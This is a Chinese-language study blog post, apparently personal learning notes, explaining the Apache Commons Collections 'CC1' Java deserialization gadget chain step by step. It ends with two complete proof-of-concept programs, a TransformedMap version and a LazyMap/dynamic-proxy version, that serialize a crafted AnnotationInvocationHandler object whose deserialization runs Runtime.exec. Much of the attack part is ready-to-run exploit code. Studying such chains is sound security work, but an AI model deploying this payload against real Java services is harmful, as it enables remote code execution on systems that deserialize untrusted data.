我是看这个视频来进行学习的 cc1

这里的话不要跳过视频里的那个安装调试包的代码,跳过的话就会复现不了,得一步一步跟着做

这个cc1链的危险方法就是发现了Transformer接口

image-20230316222922808

然后利用里面的这个transform函数

image-20230316223143480

这里话就是本篇文章主要讲的地方,就是利用这个函数,来进行操作

这里面还写一个反射调用,并且里面的值还可控,这就是造成任意方法调用了,所以这就是这个链子的入口

这里的话,我们可以尝试利用这个函数来弹个计算器

image-20230316225007753

这里是InvokerTransformer的构造函数方法,结合上面的图片,可知通过这个构造函数传参从而弹个计算器

image-20230317164525497

这就成功弹出了一个计算器

发现这里可以任意函数调用后,那么我们就得去找谁的里面调用transformer

image-20230317165005890

查找后发现有21个调用,那么我们就得从里面找到一个合适的方法

(得找一个不同名的函数里面时调用transformer的)

然后我们就找到了这个方法是调用transformer的(是在TransformedMap类里边的)

image-20230317170511870

image-20230317165356791

然后我们就跟进看一下valueTransformer是什么东西

image-20230317165605279

是有一个保护的函数方法来给他赋值,那我们继续跟进,看一下咋调用这个函数方法

然后就发现这里有个decorate方法调用了这个函数方法,并且还可以传值

image-20230317165703877

因为这个decorate里边需要传一个map类,所以我们就新建一个map类来传参。

image-20230317170703239

这里只要写是因为checkvalue里只用到了valuetransformer,所以keytransfomer就为null.

但是这里虽然是能调用到了transfomer方法,但是checkvalue里的value不可控,所以我们就继续去找谁里面调用了checkvalue方法

image-20230317171128586

在这里发现了一个抽象类里边的setvalue是调用这个方法的,并且我们还发现了这个抽象类是transformedMap的父类

image-20230317171449070

image-20230317171308361

那么我们就接着去找谁调用了setvalue方法

这里话是利用MapEntry遍历来调用setvalue方法的

image-20230317172617863

这样写就能成功调用setvalue了

首先,这里给hashmap.put(“key”,”value”)的原因是简单创建一个key值,为了下方的遍历提供内容,不写的话就不会进行for循环里的遍历

这里是先for循环进行遍历,然后调用setvalue(这个时候的value值已经传进去了)里面的checkvalue,然后checkvalue就会根据传的valuetransformer进行调用transfomer.

然后就会弹计算器了

接下来我们继续找谁调用了setvalue方法

这里最好的想法是直接找谁的readobject里面调用了setvalue方法,如果没找到的话就和上面一样的方法 ,看谁里面调用了setvalue方法,最后的归宿都是找readobject里面调用了xxx方法

image-20230317175443088

image-20230317175529057

在这个类里边的方法找到了调用setvalue的方法

image-20230317175649684

并且这个memberValues可控,那么我们就可以限定调用哪个类的setvalue方法了

这里有一个小问题就是这个类不是public类型,是一个default类型

那么不能直接调用了

image-20230317180005106

必须得在这个包里才能调用了,所以这里我们就是用反射的方法进行调用了

image-20230317184552260

反射的方法就写好了,这里为什么能传map,是因为这个setvalue所在的类是transformedMap的父类,然后传的map是TransformerMap类创建的,所以在反序列化的时候就会调用到那个抽象类里边的setvalue方法,这里写的Override的原因是因为下图的这个构造函数里边要求的注释class

image-20230317185333816

这里有个不好的点就是value没法控制,所以得想办法来传value

还有就是这里的Runtime是没法进行序列化的(因为没有继承serializeble)

image-20230317194226941

还有就是这里的两个if也要判断绕过

image-20230317194329316

所以上面一共有三个问题要进行解决

先解决runtime序列化问题

这里的话先写出反射的方法,然后在写到InvokerTransformer

image-20230317195857622

因为class能进行序列化,而Runtime不行,所以就使用反射来写

接下来我们把这段代码与InvokerTransformer结合来写

这也是个反射方法(写在函数内部的)

1
Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

image-20230317202145679

image-20230317202207893

这段代码写的有点绕,就是利用InvokerTransformer类里边transform的反射在利用一遍,就是利用反射获取到Runtime.class的getMethod方法,然后第二位置就是传参数,第三位置就是传invoke需要的东西,就是有点嵌套的感觉,慢慢看就能把这个代码看懂了

就是根据,没用InvokerTransformer之前写的runtime反射代码来写,一步一步用InvokerTransformer来写反射来进行替换

接下来就到替换invoke了image-20230317202631561

1
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);

这个和上面的第一次解释一样,也是和嵌套一样

上面是到Runtime.getRuntime()了,那么我们接下来直接写”exec”直接反射调用弹计算器了

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这句代码就没那么抽象了,不像前两个那么抽象

image-20230317204314863

这就是替换掉之前写的没加InvokerTransformer的反射调用了,然后就可以弹计算器了

这里还暴露了一个弊端就是老是嵌套用法,前一个调用后一个,老是调用tranformer里面的反射,所以这里就利用ChainedTransformer来解决这个问题

image-20230317205703565

就是图片上两个函数,就是靠这两个来进行替换掉

image-20230317210240200

然后就写好了这里就只有Runtime.class是我们可控的,其他只是起个变量名的作用而已

解决完Runtime不能反序列化后,这里就得解决那两个if判断的问题了

绕过if两个判断

image-20230317211434930

这里的memberValue是传进来的map,在外面已经定义好了

image-20230317214237583

并且已经有key值了,但是因为这里的key找的是map里的,但是找这个key值却是memberType的,就Override这个东西,这个东西是没有value()值的,所以我们就换一个注释函数

image-20230317214436564

这个是有value()值的,名字也为value,所以我们就想着把hashMap.put("key","aaa");改为hashMap.put("value","aaa");那么就能绕过判断了

那么接下来就剩value的值怎么进行控制了

控制setvalue里的value值

那么我们这里就可以利用这个ConstantTransformer类来进行解决这个问题

image-20230317215731924

就是利用这一点,不管transform传啥值,最后返回的都是固定的东西,那么我们只需要控制这个固定的东西就行

image-20230317220314223

新增加这一行就解决了这个value不能控制的问题了,就是在setvalue调用到checkvalue那边的时候,然后就会调用chainedTransformer.transformer方法,然后因为在数组中因为有ConstantTransformer(Runtime.class)存在就会调用ConstantTransformer.transformer,然后就会返回一个Runtime.class,那么这个value就成功可控了,接下来就是循环嵌套了,名字影响不大

这里不管chainedTransformer.transformer传进来什么value,ConstantTransformer.transformer都会固定返回Runtime.class

然后就全部跟完了

cc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.example;

import jdk.internal.org.objectweb.asm.commons.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
//import java.lang.reflect.Method;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception
{
// Runtime runtime = Runtime.getRuntime();
//
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null }).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// chainedTransformer.transform(Runtime.class);
//Class c = Runtime.class;
//Method method = c.getMethod("getRuntime",null);
//Runtime r = (Runtime) method.invoke(null,null); //getRuntime是无参函数
// Method method1 = c.getMethod("exec",String.class);
// method1.invoke(r,"calc");
HashMap hashMap = new HashMap<>();
hashMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);
//// for (Map.Entry entry:map.entrySet())
//// {
//// entry.setValue(runtime);
//// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,map);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

上面写的非常详细了,有疑问的时候可以回来温习一下

接下来还有个lazyMap版本

我们在上面写的是TransformedMap版本,因为在看谁调用了transformer的时候,发现了还有lazyMap这个类,然后又巧妙的发现了这个类可以用,于是就有了这个版本

image-20230318103058344

lazyMap的get()方法,那么我们就和上面的思路一样,找谁调用了get()方法

image-20230318103911715

然后在这个类里边发现了get方法,并且这个memberValue可控

image-20230318104007111

是在这个invoke方法里面

所以这里得用动态代理方法

思路就是AnnotationInvocationHandler.readObject里面传一个动态代理方法,然后动态代理就会使用invoke,invoke里面就会调用lazyMap.get方法(因为memberValues可控),然后get方法里面就传一个chainedTransformer(get里面调用了transfom方法),然后就能弹计算器了

image-20230318110547425

写好了,进行对这段代码进行解释一下

这里的LazyMap的decorate方法和TransformedMap.decorate方法是一个意思,这里就不多说了,下面的实例化对象使用InvocationHandler是因为readObject所在的AnnotationInvocationHandler是继承于InvocationHandler的(还有一点是不能使用这个AnnotationInvocationHandler 可以自己去idea里面试一下)

这里传的lazyMap就是可控的memberValues,在反序列化的时候这个memberValues就会调用这个entrySet()方法,因为这个方法是无参的,能符合接下来动态代理调用的invoke方法里调用get的条件,下面那行写的xProxy.newProxyInstance(h.getClass().getClassLoader(), h.getClass().getInterfaces(),h);方法就是为了调用invoke方法,从而调用到lazymap里的get方法,然后get的方法就会调用chainedTransformer.tranfome方法,从而实现命令执行。

image-20230318112157242

最后再补充一点就完成了

因为我们是想在readObject里面执行,然后刚好readobject所在的这个类是接收map类的,然后动态代理的话是必须得跟一个接口的,所以就Map map = (Map) Proxy.newProxyInstance(h.getClass().getClassLoader(), h.getClass().getInterfaces(),h);这样来写,然后在实例化一下,把东西传进去,然后进行序列化

写好的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.example;

import jdk.internal.org.objectweb.asm.commons.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
//import java.lang.reflect.Method;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception
{
// Runtime runtime = Runtime.getRuntime();
//
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null }).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{""})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//chainedTransformer.transform(Runtime.class);
//Class c = Runtime.class;
//Method method = c.getMethod("getRuntime",null);
//Runtime r = (Runtime) method.invoke(null,null); //getRuntime是无参函数
// Method method1 = c.getMethod("exec",String.class);
// method1.invoke(r,"calc");
// HashMap hashMap = new HashMap<>();
// hashMap.put("value","aaa");
// Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);
////// for (Map.Entry entry:map.entrySet())
////// {
////// entry.setValue(runtime);
////// }
HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Target.class,lazyMap);
Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(),h);
Object o = constructor.newInstance(Override.class,map);
serialize(o);
unserialize("ser.bin");

// serialize(o);
// unserialize("ser.bin");





}
public static void serialize(Object obj) throws IOException
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

最后的话cc1链就全部学完了,也收获了很多